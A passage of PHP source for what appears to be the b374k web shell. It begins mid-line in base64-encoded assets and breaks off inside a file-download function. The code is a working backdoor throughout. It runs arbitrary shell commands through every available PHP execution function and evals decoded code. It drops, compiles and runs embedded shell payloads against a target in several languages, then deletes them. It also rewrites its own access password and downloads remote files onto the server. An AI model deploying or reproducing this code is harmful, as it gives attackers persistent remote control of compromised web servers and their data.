yXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC";
  98. $s_arrow       = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==";
  99. $s_dark_cb     = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=";
  100. $s_bright_cb   = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==";
  101. $s_style       = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C";
  102. $s_mime_types  = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
  103. $s_sortable_js = "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";
  104. $s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==";
  105. function clean($arr)
  106. {
  107.     $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
  108.     if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
  109.         if (is_array($arr)) {
  110.             foreach ($arr as $k => $v) {
  111.                 if (is_array($v))
  112.                     $arr[$k] = clean($v);
  113.                 else
  114.                     $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off') ? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  115.             }
  116.         }
  117.     }
  118.     return $arr;
  119. }
  120. function fgc($file)
  121. {
  122.     return file_get_contents($file);
  123. }
  124. function kript($plain)
  125. {
  126.     return sha1(md5($plain));
  127. }
  128. function changepass($plain)
  129. {
  130.     $newpass = kript($plain);
  131.     $newpass = "\$s_pass = \"" . $newpass . "\";";
  132.     $con     = fgc($_SERVER['SCRIPT_FILENAME']);
  133.     $con     = preg_replace("/\\\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is", $newpass, $con);
  134.     return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
  135. }
  136. function get_code($t, $c)
  137. {
  138.     global $s_self;
  139.     $c = gzinflate(base64_decode($c));
  140.     if ($t == "css") {
  141.         return "<link rel='stylesheet' type='text/css' href='" . $s_self . "|' />";
  142.     } elseif ($t == "js") {
  143.         return "<script type='text/javascript' src='" . $s_self . "!'></script>";
  144.     }
  145. }
  146. function showcode($raw)
  147. {
  148.     $c = gzinflate(base64_decode($raw));
  149.     ob_get_contents();
  150.     ob_end_clean();
  151.     ob_start();
  152.     eval("?>" . $c);
  153.     $s_res = ob_get_contents();
  154.     ob_end_clean();
  155.     echo $s_res;
  156.     die();
  157. }
  158. function adds($s_s)
  159. {
  160.     global $s_win;
  161.     return ($s_win) ? addslashes($s_s) : $s_s;
  162. }
  163. function cp($s_p)
  164. {
  165.     global $s_win;
  166.     if (@is_dir($s_p)) {
  167.         $s_x = DS;
  168.         while (substr($s_p, -1) == $s_x)
  169.             $s_p = rtrim($s_p, $s_x);
  170.         return ($s_win) ? preg_replace("/\\\\+/is", "\\", $s_p . $s_x) : $s_p . $s_x;
  171.     }
  172.     return $s_p;
  173. }
  174. function swd($s_p)
  175. {
  176.     global $s_self;
  177.     $s_ps = explode(DS, $s_p);
  178.     $s_pu = "";
  179.     for ($s_i = 0; $s_i < sizeof($s_ps) - 1; $s_i++) {
  180.         $s_pz = "";
  181.         for ($s_j = 0; $s_j <= $s_i; $s_j++)
  182.             $s_pz .= $s_ps[$s_j] . DS;
  183.         $s_pu .= "<a href='" . $s_self . "cd=" . pl($s_pz) . "'>" . $s_ps[$s_i] . " " . DS . " </a>";
  184.     }
  185.     return trim($s_pu);
  186. }
  187. function hss($s_t)
  188. {
  189.     return htmlspecialchars($s_t, 2 | 1);
  190. }
  191. function ru($str)
  192. {
  193.     return (is_array($str)) ? array_map("rawurldecode", $str) : rawurldecode($str);
  194. }
  195. function pl($str)
  196. {
  197.     return hss(rawurlencode($str));
  198. }
  199. function pf($f)
  200. {
  201.     return "\"" . $f . "\"";
  202. }
  203. function cs($s_t)
  204. {
  205.     return str_replace(array(
  206.         " ",
  207.         "\"",
  208.         "'"
  209.     ), "_", $s_t);
  210. }
  211. function ss($s_t)
  212. {
  213.     return rawurldecode($s_t);
  214. }
  215. function notif($s)
  216. {
  217.     return "<div class='notif'>" . $s . "</div>";
  218. }
  219. function rs($s_rstype, $s_rstarget, $s_rscode)
  220. {
  221.     $s_result   = $s_fpath = "";
  222.     $s_fc       = gzinflate(base64_decode($s_rscode));
  223.     $s_errperm  = "Directory " . getcwd() . DS . " is not writable, please change to a writable one";
  224.     $s_errgcc   = "Unable to compile using gcc";
  225.     $s_errjavac = "Unable to compile using javac";
  226.     $s_split    = explode("_", $s_rstype);
  227.     $s_method   = $s_split[0];
  228.     $s_lang     = $s_split[1];
  229.     if ($s_lang == "py" || $s_lang == "pl" || $s_lang == "rb" || $s_lang == "js") {
  230.         if ($s_lang == "py")
  231.             $s_runlang = "python";
  232.         elseif ($s_lang == "pl")
  233.             $s_runlang = "perl";
  234.         elseif ($s_lang == "rb")
  235.             $s_runlang = "ruby";
  236.         elseif ($s_lang == "js")
  237.             $s_runlang = "node";
  238.         $s_fpath = "b374k_rs." . $s_lang;
  239.         if (@is_file($s_fpath))
  240.             unlink($s_fpath);
  241.         if ($s_file = fopen($s_fpath, "w")) {
  242.             fwrite($s_file, $s_fc);
  243.             fclose($s_file);
  244.             if (@is_file($s_fpath)) {
  245.                 $s_result = exe("chmod +x " . $s_fpath);
  246.                 if ($s_runlang == "node") {
  247.                     if (check_access("node") !== false)
  248.                         $s_result = exe($s_runlang . " " . $s_fpath . " " . $s_rstarget);
  249.                     elseif (check_access("nodejs") !== false)
  250.                         $s_result = exe($s_runlang . "js " . $s_fpath . " " . $s_rstarget);
  251.                 } else
  252.                     $s_result = exe($s_runlang . " " . $s_fpath . " " . $s_rstarget);
  253.             } else
  254.                 $s_result = $s_errperm;
  255.         } else
  256.             $s_result = $s_errperm;
  257.     } elseif ($s_lang == "c") {
  258.         $s_fpath = "b374k_rs";
  259.         if (@is_file($s_fpath))
  260.             unlink($s_fpath);
  261.         if (@is_file($s_fpath . ".c"))
  262.             unlink($s_fpath . ".c");
  263.         if ($s_file = fopen($s_fpath . ".c", "w")) {
  264.             fwrite($s_file, $s_fc);
  265.             fclose($s_file);
  266.             if (@is_file($s_fpath . ".c")) {
  267.                 $s_result = exe("gcc " . $s_fpath . ".c -o " . $s_fpath);
  268.                 if (@is_file($s_fpath)) {
  269.                     $s_result = exe("chmod +x " . $s_fpath);
  270.                     $s_result = exe("./" . $s_fpath . " " . $s_rstarget);
  271.                 } else
  272.                     $s_result = $s_errgcc;
  273.             } else
  274.                 $s_result = $s_errperm;
  275.         } else
  276.             $s_result = $s_errperm;
  277.     } elseif ($s_lang == "win") {
  278.         $s_fpath = "b374k_rs.exe";
  279.         if (@is_file($s_fpath))
  280.             unlink($s_fpath);
  281.         if ($s_file = fopen($s_fpath, "w")) {
  282.             fwrite($s_file, $s_fc);
  283.             fclose($s_file);
  284.             if (@is_file($s_fpath)) {
  285.                 $s_result = exe($s_fpath . " " . $s_rstarget);
  286.             } else
  287.                 $s_result = $s_errperm;
  288.         } else
  289.             $s_result = $s_errperm;
  290.     } elseif ($s_lang == "java") {
  291.         $s_fpath = "b374k_rs";
  292.         if (@is_file($s_fpath . ".java"))
  293.             unlink($s_fpath . ".java");
  294.         if (@is_file($s_fpath . ".class"))
  295.             unlink($s_fpath . ".class");
  296.         if ($s_file = fopen($s_fpath . ".java", "w")) {
  297.             fwrite($s_file, $s_fc);
  298.             fclose($s_file);
  299.             if (@is_file($s_fpath . ".java")) {
  300.                 $s_result = exe("javac " . $s_fpath . ".java");
  301.                 if (@is_file($s_fpath . ".class")) {
  302.                     $s_result = exe("java " . $s_fpath . " " . $s_rstarget);
  303.                 } else
  304.                     $s_result = $s_errjavac;
  305.             } else
  306.                 $s_result = $s_errperm;
  307.         } else
  308.             $s_result = $s_errperm;
  309.     } elseif ($s_lang == "php") {
  310.         $s_result = eval("?>" . $s_fc);
  311.     }
  312.     if (@is_file($s_fpath))
  313.         unlink($s_fpath);
  314.     if (@is_file($s_fpath . ".c"))
  315.         unlink($s_fpath . ".c");
  316.     if (@is_file($s_fpath . ".java"))
  317.         unlink($s_fpath . ".java");
  318.     if (@is_file($s_fpath . ".class"))
  319.         unlink($s_fpath . ".class");
  320.     if (@is_file($s_fpath . "\$pt.class"))
  321.         unlink($s_fpath . "\$pt.class");
  322.     return $s_result;
  323. }
  324. function geol($str)
  325. {
  326.     $nl = PHP_EOL;
  327.     if (preg_match("/\r\n/", $str, $r))
  328.         $nl = "\r\n";
  329.     else {
  330.         if (preg_match("/\n/", $str, $r))
  331.             $nl = "\n";
  332.         elseif (preg_match("/\r/", $str, $r))
  333.             $nl = "\r";
  334.     }
  335.     return bin2hex($nl);
  336. }
  337. function ts($s_s)
  338. {
  339.     if ($s_s <= 0)
  340.         return 0;
  341.     $s_w = array(
  342.         'B',
  343.         'KB',
  344.         'MB',
  345.         'GB',
  346.         'TB',
  347.         'PB',
  348.         'EB',
  349.         'ZB',
  350.         'YB'
  351.     );
  352.     $s_e = floor(log($s_s) / log(1024));
  353.     return sprintf('%.2f ' . $s_w[$s_e], ($s_s / pow(1024, floor($s_e))));
  354. }
  355. function gs($s_f)
  356. {
  357.     $s_s = @filesize($s_f);
  358.     if ($s_s !== false) {
  359.         if ($s_s <= 0)
  360.             return 0;
  361.         return ts($s_s);
  362.     } else
  363.         return "???";
  364. }
  365. function gp($s_f)
  366. {
  367.     if ($s_m = @fileperms($s_f)) {
  368.         $s_p = 'u';
  369.         if (($s_m & 0xC000) == 0xC000)
  370.             $s_p = 's';
  371.         elseif (($s_m & 0xA000) == 0xA000)
  372.             $s_p = 'l';
  373.         elseif (($s_m & 0x8000) == 0x8000)
  374.             $s_p = '-';
  375.         elseif (($s_m & 0x6000) == 0x6000)
  376.             $s_p = 'b';
  377.         elseif (($s_m & 0x4000) == 0x4000)
  378.             $s_p = 'd';
  379.         elseif (($s_m & 0x2000) == 0x2000)
  380.             $s_p = 'c';
  381.         elseif (($s_m & 0x1000) == 0x1000)
  382.             $s_p = 'p';
  383.         $s_p .= ($s_m & 00400) ? 'r' : '-';
  384.         $s_p .= ($s_m & 00200) ? 'w' : '-';
  385.         $s_p .= ($s_m & 00100) ? 'x' : '-';
  386.         $s_p .= ($s_m & 00040) ? 'r' : '-';
  387.         $s_p .= ($s_m & 00020) ? 'w' : '-';
  388.         $s_p .= ($s_m & 00010) ? 'x' : '-';
  389.         $s_p .= ($s_m & 00004) ? 'r' : '-';
  390.         $s_p .= ($s_m & 00002) ? 'w' : '-';
  391.         $s_p .= ($s_m & 00001) ? 'x' : '-';
  392.         return $s_p;
  393.     } else
  394.         return "???????????";
  395. }
  396. function exe($s_c)
  397. {
  398.     $s_out = "";
  399.     $s_c   = $s_c . " 2>&1";
  400.     if (is_callable('system')) {
  401.         ob_start();
  402.         @system($s_c);
  403.         $s_out = ob_get_contents();
  404.         ob_end_clean();
  405.         if (!empty($s_out))
  406.             return $s_out;
  407.     }
  408.     if (is_callable('shell_exec')) {
  409.         $s_out = @shell_exec($s_c);
  410.         if (!empty($s_out))
  411.             return $s_out;
  412.     }
  413.     if (is_callable('exec')) {
  414.         @exec($s_c, $s_r);
  415.         if (!empty($s_r))
  416.             foreach ($s_r as $s_s)
  417.                 $s_out .= $s_s;
  418.         if (!empty($s_out))
  419.             return $s_out;
  420.     }
  421.     if (is_callable('passthru')) {
  422.         ob_start();
  423.         @passthru($s_c);
  424.         $s_out = ob_get_contents();
  425.         ob_end_clean();
  426.         if (!empty($s_out))
  427.             return $s_out;
  428.     }
  429.     if (is_callable('proc_open')) {
  430.         $s_descriptorspec = array(
  431.             0 => array(
  432.                 "pipe",
  433.                 "r"
  434.             ),
  435.             1 => array(
  436.                 "pipe",
  437.                 "w"
  438.             ),
  439.             2 => array(
  440.                 "pipe",
  441.                 "w"
  442.             )
  443.         );
  444.         $s_proc           = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
  445.         if (is_resource($s_proc)) {
  446.             while ($s_si = fgets($s_pipes[1])) {
  447.                 if (!empty($s_si))
  448.                     $s_out .= $s_si;
  449.             }
  450.             while ($s_se = fgets($s_pipes[2])) {
  451.                 if (!empty($s_se))
  452.                     $s_out .= $s_se;
  453.             }
  454.         }
  455.         @proc_close($s_proc);
  456.         if (!empty($s_out))
  457.             return $s_out;
  458.     }
  459.     if (is_callable('popen')) {
  460.         $s_f = @popen($s_c, 'r');
  461.         if ($s_f) {
  462.             while (!feof($s_f)) {
  463.                 $s_out .= fread($s_f, 2096);
  464.             }
  465.             pclose($s_f);
  466.         }
  467.         if (!empty($s_out))
  468.             return $s_out;
  469.     }
  470.     return "";
  471. }
  472. function rmdirs($s)
  473. {
  474.     $s = (substr($s, -1) == '/') ? $s : $s . '/';
  475.     if ($dh = opendir($s)) {
  476.         while (($f = readdir($dh)) !== false) {
  477.             if (($f != '.') && ($f != '..')) {
  478.                 $f = $s . $f;
  479.                 if (@is_dir($f))
  480.                     rmdirs($f);
  481.                 else
  482.                     @unlink($f);
  483.             }
  484.         }
  485.         closedir($dh);
  486.         @rmdir($s);
  487.     }
  488. }
  489. function copys($s, $d, $c = 0)
  490. {
  491.     if ($dh = opendir($s)) {
  492.         if (!@is_dir($d))
  493.             @mkdir($d);
  494.         while (($f = readdir($dh)) !== false) {
  495.             if (($f != '.') && ($f != '..')) {
  496.                 if (@is_dir($s . DS . $f))
  497.                     copys($s . DS . $f, $d . DS . $f);
  498.                 else
  499.                     copy($s . DS . $f, $d . DS . $f);
  500.             }
  501.         }
  502.         closedir($dh);
  503.     }
  504. }
  505. function getallfiles($s_dir)
  506. {
  507.     $s_f = glob($s_dir . '*');
  508.     for ($s_i = 0; $s_i < count($s_f); $s_i++) {
  509.         if (@is_dir($s_f[$s_i])) {
  510.             $s_a = glob($s_f[$s_i] . DS . '*');
  511.             if (is_array($s_f) && is_array($s_a))
  512.                 $s_f = array_merge($s_f, $s_a);
  513.         }
  514.     }
  515.     return $s_f;
  516. }
  517. function dlfile($s_u, $s_p)
  518. {
  519.     global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
  520.     if (!preg_match("/[a-z]+:\/\/.+/", $s_u))
  521.         return false;
  522.     $s_n = basename($s_u);
  523.     if ($s_t = @fgc($s_u)) {
  524.         if (@is_file($s_p))
  525.             unlink($s_p);
  526.         if ($s_f = fopen($s_p, "w")) {
  527.             fwrite($s_f, $s_t);
  528.             fclose($s_f);
